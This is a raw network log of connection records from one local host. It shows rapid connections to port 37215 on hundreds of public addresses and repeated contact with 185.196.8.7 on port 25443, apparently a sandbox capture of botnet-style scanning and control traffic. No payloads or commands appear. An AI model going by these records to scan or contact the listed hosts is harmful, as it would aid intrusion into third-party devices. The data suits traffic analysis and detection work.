Sep 25, 2024 14:14:19.650011063 CEST	37215	63353	156.209.234.79	192.168.2.14
Sep 25, 2024 14:14:19.650012016 CEST	63353	37215	192.168.2.14	197.198.99.197
Sep 25, 2024 14:14:19.650013924 CEST	39124	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:19.650026083 CEST	37215	63353	197.108.17.77	192.168.2.14
Sep 25, 2024 14:14:19.650038004 CEST	63353	37215	192.168.2.14	197.159.159.94
Sep 25, 2024 14:14:19.650038004 CEST	63353	37215	192.168.2.14	156.209.234.79
Sep 25, 2024 14:14:19.650041103 CEST	37215	63353	41.50.188.249	192.168.2.14
Sep 25, 2024 14:14:19.650057077 CEST	63353	37215	192.168.2.14	197.108.17.77
Sep 25, 2024 14:14:19.650064945 CEST	63353	37215	192.168.2.14	41.50.188.249
Sep 25, 2024 14:14:19.650959015 CEST	38510	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:19.650959015 CEST	44514	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:19.650983095 CEST	40030	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.650983095 CEST	40030	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.651510954 CEST	40310	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.651949883 CEST	37744	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:19.651953936 CEST	49838	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:19.651954889 CEST	43068	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:19.652384996 CEST	53486	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:19.652725935 CEST	37215	58732	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:19.652748108 CEST	37215	57672	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:19.653445959 CEST	45068	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:19.654494047 CEST	37215	38828	41.174.94.226	192.168.2.14
Sep 25, 2024 14:14:19.654517889 CEST	54688	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:19.655306101 CEST	49308	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:19.655772924 CEST	37812	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:19.655786037 CEST	37215	40030	197.213.197.91	192.168.2.14
Sep 25, 2024 14:14:19.655801058 CEST	37215	38510	41.153.113.211	192.168.2.14
Sep 25, 2024 14:14:19.655833960 CEST	38510	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:19.655942917 CEST	37215	44514	197.172.74.68	192.168.2.14
Sep 25, 2024 14:14:19.655985117 CEST	44514	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:19.656227112 CEST	43224	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:19.656344891 CEST	37215	40310	197.213.197.91	192.168.2.14
Sep 25, 2024 14:14:19.656374931 CEST	40310	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.656697989 CEST	39080	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:19.656781912 CEST	37215	37744	197.233.237.119	192.168.2.14
Sep 25, 2024 14:14:19.656816006 CEST	37744	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:19.657133102 CEST	39126	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:19.657438993 CEST	37215	49838	41.204.244.44	192.168.2.14
Sep 25, 2024 14:14:19.657469034 CEST	49838	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:19.657505989 CEST	37215	43068	156.158.134.204	192.168.2.14
Sep 25, 2024 14:14:19.657535076 CEST	43068	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:19.657578945 CEST	38504	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:19.658014059 CEST	35202	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:19.658721924 CEST	52562	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:19.659740925 CEST	38500	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:19.660703897 CEST	50922	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:19.661731958 CEST	45652	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:19.662841082 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:19.663857937 CEST	39394	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.664833069 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:19.665572882 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:19.666064978 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:19.666502953 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:19.666959047 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:19.667452097 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:19.667869091 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:19.668271065 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:19.668716908 CEST	50010	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:19.668958902 CEST	37215	39394	197.165.164.248	192.168.2.14
Sep 25, 2024 14:14:19.669004917 CEST	39394	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.669159889 CEST	49700	37215	192.168.2.14	41.161.63.211
Sep 25, 2024 14:14:19.669600010 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:19.669913054 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:19.669917107 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:19.669917107 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:19.669922113 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:19.669922113 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:19.669931889 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:19.669941902 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:19.669948101 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:19.669948101 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:19.669948101 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:19.669949055 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:19.669955969 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:19.669961929 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:19.669965982 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:19.669975042 CEST	54948	37215	192.168.2.14	156.207.45.124
Sep 25, 2024 14:14:19.669975042 CEST	34284	37215	192.168.2.14	156.34.228.152
Sep 25, 2024 14:14:19.669975042 CEST	46984	37215	192.168.2.14	41.143.253.249
Sep 25, 2024 14:14:19.670164108 CEST	52962	37215	192.168.2.14	197.200.152.166
Sep 25, 2024 14:14:19.670608044 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:19.671056986 CEST	41460	37215	192.168.2.14	156.111.235.109
Sep 25, 2024 14:14:19.671526909 CEST	57532	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.671961069 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:19.672389984 CEST	52556	37215	192.168.2.14	197.178.176.208
Sep 25, 2024 14:14:19.672869921 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:19.673790932 CEST	40530	37215	192.168.2.14	197.170.229.98
Sep 25, 2024 14:14:19.674839973 CEST	58750	37215	192.168.2.14	41.77.182.33
Sep 25, 2024 14:14:19.675849915 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:19.676420927 CEST	37215	57532	156.79.121.29	192.168.2.14
Sep 25, 2024 14:14:19.676460028 CEST	57532	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.676805019 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:19.677892923 CEST	48304	37215	192.168.2.14	41.172.112.204
Sep 25, 2024 14:14:19.678915977 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:19.679840088 CEST	58822	37215	192.168.2.14	41.143.106.216
Sep 25, 2024 14:14:19.680433035 CEST	34270	37215	192.168.2.14	41.158.116.136
Sep 25, 2024 14:14:19.680845022 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:19.681299925 CEST	44556	37215	192.168.2.14	41.228.200.255
Sep 25, 2024 14:14:19.681726933 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:19.682161093 CEST	52680	37215	192.168.2.14	197.244.126.104
Sep 25, 2024 14:14:19.682602882 CEST	39966	37215	192.168.2.14	41.182.180.190
Sep 25, 2024 14:14:19.683044910 CEST	51806	37215	192.168.2.14	156.183.212.73
Sep 25, 2024 14:14:19.683485985 CEST	60344	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.683934927 CEST	36630	37215	192.168.2.14	41.35.65.127
Sep 25, 2024 14:14:19.684427023 CEST	43338	37215	192.168.2.14	41.230.230.18
Sep 25, 2024 14:14:19.684897900 CEST	58766	37215	192.168.2.14	156.220.215.4
Sep 25, 2024 14:14:19.685327053 CEST	45988	37215	192.168.2.14	41.237.72.126
Sep 25, 2024 14:14:19.685755968 CEST	57824	37215	192.168.2.14	156.214.201.70
Sep 25, 2024 14:14:19.686189890 CEST	52260	37215	192.168.2.14	41.89.218.249
Sep 25, 2024 14:14:19.686649084 CEST	34212	37215	192.168.2.14	41.52.96.33
Sep 25, 2024 14:14:19.687093019 CEST	56944	37215	192.168.2.14	197.202.161.248
Sep 25, 2024 14:14:19.687530041 CEST	36274	37215	192.168.2.14	197.124.16.109
Sep 25, 2024 14:14:19.688333988 CEST	37215	60344	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:19.688374996 CEST	60344	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.690768957 CEST	38062	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:19.692009926 CEST	43314	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.693444014 CEST	58874	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:19.694626093 CEST	51898	37215	192.168.2.14	156.225.159.53
Sep 25, 2024 14:14:19.696082115 CEST	48336	37215	192.168.2.14	41.117.142.107
Sep 25, 2024 14:14:19.696885109 CEST	37215	43314	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:19.696918011 CEST	43314	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.697344065 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:19.697834969 CEST	37215	57672	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:19.697849035 CEST	37215	58732	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:19.697861910 CEST	37215	40030	197.213.197.91	192.168.2.14
Sep 25, 2024 14:14:19.697874069 CEST	37215	38828	41.174.94.226	192.168.2.14
Sep 25, 2024 14:14:19.698743105 CEST	39416	37215	192.168.2.14	197.98.159.82
Sep 25, 2024 14:14:19.699953079 CEST	52024	37215	192.168.2.14	156.53.121.87
Sep 25, 2024 14:14:19.701083899 CEST	42820	37215	192.168.2.14	197.168.100.169
Sep 25, 2024 14:14:19.701908112 CEST	46306	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:19.701908112 CEST	51832	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:19.701916933 CEST	60292	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:19.701916933 CEST	36164	37215	192.168.2.14	197.155.5.129
Sep 25, 2024 14:14:19.701927900 CEST	48772	37215	192.168.2.14	41.182.160.196
Sep 25, 2024 14:14:19.701931000 CEST	47986	37215	192.168.2.14	197.19.39.143
Sep 25, 2024 14:14:19.701931000 CEST	56268	37215	192.168.2.14	197.15.91.163
Sep 25, 2024 14:14:19.701931953 CEST	52836	37215	192.168.2.14	156.44.91.118
Sep 25, 2024 14:14:19.701941967 CEST	42764	37215	192.168.2.14	156.181.97.225
Sep 25, 2024 14:14:19.702096939 CEST	59148	37215	192.168.2.14	197.44.120.177
Sep 25, 2024 14:14:19.703094006 CEST	54102	37215	192.168.2.14	41.16.222.49
Sep 25, 2024 14:14:19.704103947 CEST	58694	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.705082893 CEST	41448	37215	192.168.2.14	197.20.123.61
Sep 25, 2024 14:14:19.706130981 CEST	53014	37215	192.168.2.14	197.208.168.19
Sep 25, 2024 14:14:19.707245111 CEST	43874	37215	192.168.2.14	156.151.243.104
Sep 25, 2024 14:14:19.707935095 CEST	38398	37215	192.168.2.14	197.198.99.197
Sep 25, 2024 14:14:19.708623886 CEST	50216	37215	192.168.2.14	197.159.159.94
Sep 25, 2024 14:14:19.709095955 CEST	37215	58694	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:19.709161043 CEST	58694	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.709403038 CEST	34388	37215	192.168.2.14	156.209.234.79
Sep 25, 2024 14:14:19.710016966 CEST	49824	37215	192.168.2.14	197.108.17.77
Sep 25, 2024 14:14:19.710724115 CEST	48906	37215	192.168.2.14	41.50.188.249
Sep 25, 2024 14:14:19.711273909 CEST	46112	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.711273909 CEST	46112	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.711863041 CEST	46340	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.712304115 CEST	36690	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:19.712304115 CEST	36690	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:19.712654114 CEST	37146	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:19.713061094 CEST	54828	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:19.713061094 CEST	54828	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:19.713331938 CEST	55284	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:19.713742018 CEST	43716	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:19.713742018 CEST	43716	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:19.714107037 CEST	44170	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:19.714514017 CEST	32846	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:19.714514017 CEST	32846	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:19.714775085 CEST	33300	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:19.715177059 CEST	55116	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:19.715177059 CEST	55116	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:19.715549946 CEST	55568	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:19.715974092 CEST	48890	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:19.715974092 CEST	48890	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:19.716108084 CEST	37215	46112	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:19.716250896 CEST	49342	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:19.716707945 CEST	40310	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.716717958 CEST	37215	46340	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:19.716746092 CEST	39394	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.716746092 CEST	39394	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.716753006 CEST	46340	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.717103958 CEST	39534	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.717185020 CEST	37215	36690	156.150.52.76	192.168.2.14
Sep 25, 2024 14:14:19.717521906 CEST	57532	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.717523098 CEST	57532	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.717797041 CEST	57644	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.717807055 CEST	37215	54828	41.71.47.143	192.168.2.14
Sep 25, 2024 14:14:19.718143940 CEST	60344	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.718143940 CEST	60344	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.718342066 CEST	60422	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.718600988 CEST	43314	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.718600988 CEST	43314	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.718620062 CEST	37215	43716	156.58.216.35	192.168.2.14
Sep 25, 2024 14:14:19.718807936 CEST	43372	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.719072104 CEST	58694	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.719072104 CEST	58694	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.719285965 CEST	58734	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.719369888 CEST	37215	32846	156.197.220.184	192.168.2.14
Sep 25, 2024 14:14:19.719573021 CEST	46340	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.719986916 CEST	37215	55116	41.116.201.16	192.168.2.14
Sep 25, 2024 14:14:19.720805883 CEST	37215	48890	197.13.34.105	192.168.2.14
Sep 25, 2024 14:14:19.721577883 CEST	37215	40310	197.213.197.91	192.168.2.14
Sep 25, 2024 14:14:19.721591949 CEST	37215	39394	197.165.164.248	192.168.2.14
Sep 25, 2024 14:14:19.721618891 CEST	40310	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.722338915 CEST	37215	57532	156.79.121.29	192.168.2.14
Sep 25, 2024 14:14:19.722971916 CEST	37215	60344	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:19.723428011 CEST	37215	43314	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:19.723902941 CEST	37215	58694	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:19.724447012 CEST	37215	46340	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:19.724489927 CEST	46340	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.758028030 CEST	37215	46112	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:19.758074999 CEST	37215	36690	156.150.52.76	192.168.2.14
Sep 25, 2024 14:14:19.764487982 CEST	37215	39394	197.165.164.248	192.168.2.14
Sep 25, 2024 14:14:19.764503956 CEST	37215	48890	197.13.34.105	192.168.2.14
Sep 25, 2024 14:14:19.764520884 CEST	37215	55116	41.116.201.16	192.168.2.14
Sep 25, 2024 14:14:19.764533997 CEST	37215	32846	156.197.220.184	192.168.2.14
Sep 25, 2024 14:14:19.764545918 CEST	37215	43716	156.58.216.35	192.168.2.14
Sep 25, 2024 14:14:19.764622927 CEST	37215	54828	41.71.47.143	192.168.2.14
Sep 25, 2024 14:14:19.768307924 CEST	37215	58694	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:19.768474102 CEST	37215	43314	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:19.768486977 CEST	37215	60344	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:19.768625021 CEST	37215	57532	156.79.121.29	192.168.2.14
Sep 25, 2024 14:14:20.268110037 CEST	57486	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.273030996 CEST	25443	57486	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.273096085 CEST	57486	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.273631096 CEST	57486	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.273631096 CEST	57486	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.278549910 CEST	25443	57486	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.325875998 CEST	25443	57486	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.404098034 CEST	57488	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.409084082 CEST	25443	57488	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.409145117 CEST	57488	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.411284924 CEST	57488	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.411407948 CEST	57488	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.416213989 CEST	25443	57488	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.457890034 CEST	25443	57488	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.534797907 CEST	57490	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.539717913 CEST	25443	57490	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.539772987 CEST	57490	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.541594028 CEST	57490	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.541594028 CEST	57490	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.546408892 CEST	25443	57490	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.593822956 CEST	25443	57490	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.661886930 CEST	52562	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.661897898 CEST	49308	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.661899090 CEST	38500	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:20.661897898 CEST	39124	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:20.661899090 CEST	37812	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.661899090 CEST	35202	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:20.661899090 CEST	38504	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:20.661899090 CEST	58794	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:20.661899090 CEST	57734	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:20.661923885 CEST	39080	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:20.661923885 CEST	45068	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:20.661923885 CEST	53486	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:20.661923885 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:20.661923885 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:20.661938906 CEST	43224	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:20.661938906 CEST	54688	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:20.661938906 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:20.661977053 CEST	50922	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:20.661978006 CEST	45652	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:20.661978960 CEST	39126	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:20.667164087 CEST	37215	52562	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:20.667207003 CEST	37215	37812	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:20.667237997 CEST	37215	49308	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:20.667296886 CEST	52562	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.667298079 CEST	37812	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.667299986 CEST	49308	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.667404890 CEST	63353	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:20.667409897 CEST	63353	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:20.667417049 CEST	63353	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:20.667417049 CEST	63353	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:20.667418003 CEST	63353	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:20.667428970 CEST	63353	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:20.667435884 CEST	63353	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:20.667439938 CEST	63353	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:20.667439938 CEST	63353	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:20.667439938 CEST	63353	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:20.667439938 CEST	63353	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:20.667445898 CEST	63353	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:20.667448044 CEST	63353	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:20.667459011 CEST	63353	37215	192.168.2.14	197.33.241.206
Sep 25, 2024 14:14:20.667467117 CEST	63353	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:20.667474031 CEST	37215	39124	41.174.94.226	192.168.2.14
Sep 25, 2024 14:14:20.667475939 CEST	63353	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:20.667475939 CEST	63353	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:20.667480946 CEST	63353	37215	192.168.2.14	41.205.102.19
Sep 25, 2024 14:14:20.667480946 CEST	63353	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:20.667505980 CEST	37215	38500	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:20.667511940 CEST	63353	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:20.667511940 CEST	63353	37215	192.168.2.14	156.212.237.154
Sep 25, 2024 14:14:20.667512894 CEST	63353	37215	192.168.2.14	156.54.182.52
Sep 25, 2024 14:14:20.667524099 CEST	39124	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:20.667524099 CEST	63353	37215	192.168.2.14	197.58.17.124
Sep 25, 2024 14:14:20.667526960 CEST	63353	37215	192.168.2.14	156.251.233.185
Sep 25, 2024 14:14:20.667526960 CEST	63353	37215	192.168.2.14	41.88.166.171
Sep 25, 2024 14:14:20.667534113 CEST	63353	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:20.667536974 CEST	37215	57734	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:20.667537928 CEST	63353	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:20.667537928 CEST	63353	37215	192.168.2.14	41.112.146.16
Sep 25, 2024 14:14:20.667552948 CEST	38500	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:20.667560101 CEST	63353	37215	192.168.2.14	156.167.82.254
Sep 25, 2024 14:14:20.667567015 CEST	37215	35202	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:20.667571068 CEST	57734	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:20.667583942 CEST	63353	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:20.667587042 CEST	63353	37215	192.168.2.14	156.208.132.185
Sep 25, 2024 14:14:20.667588949 CEST	63353	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:20.667597055 CEST	63353	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:20.667597055 CEST	37215	43224	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:20.667597055 CEST	63353	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:20.667599916 CEST	63353	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:20.667614937 CEST	63353	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:20.667614937 CEST	63353	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:20.667618990 CEST	63353	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:20.667628050 CEST	37215	38504	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:20.667633057 CEST	63353	37215	192.168.2.14	156.134.174.192
Sep 25, 2024 14:14:20.667635918 CEST	63353	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:20.667637110 CEST	63353	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:20.667638063 CEST	63353	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:20.667639017 CEST	63353	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:20.667639017 CEST	63353	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:20.667649984 CEST	63353	37215	192.168.2.14	156.217.145.145
Sep 25, 2024 14:14:20.667659998 CEST	37215	58794	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:20.667663097 CEST	63353	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:20.667663097 CEST	35202	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:20.667682886 CEST	38504	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:20.667682886 CEST	63353	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:20.667682886 CEST	63353	37215	192.168.2.14	41.176.71.4
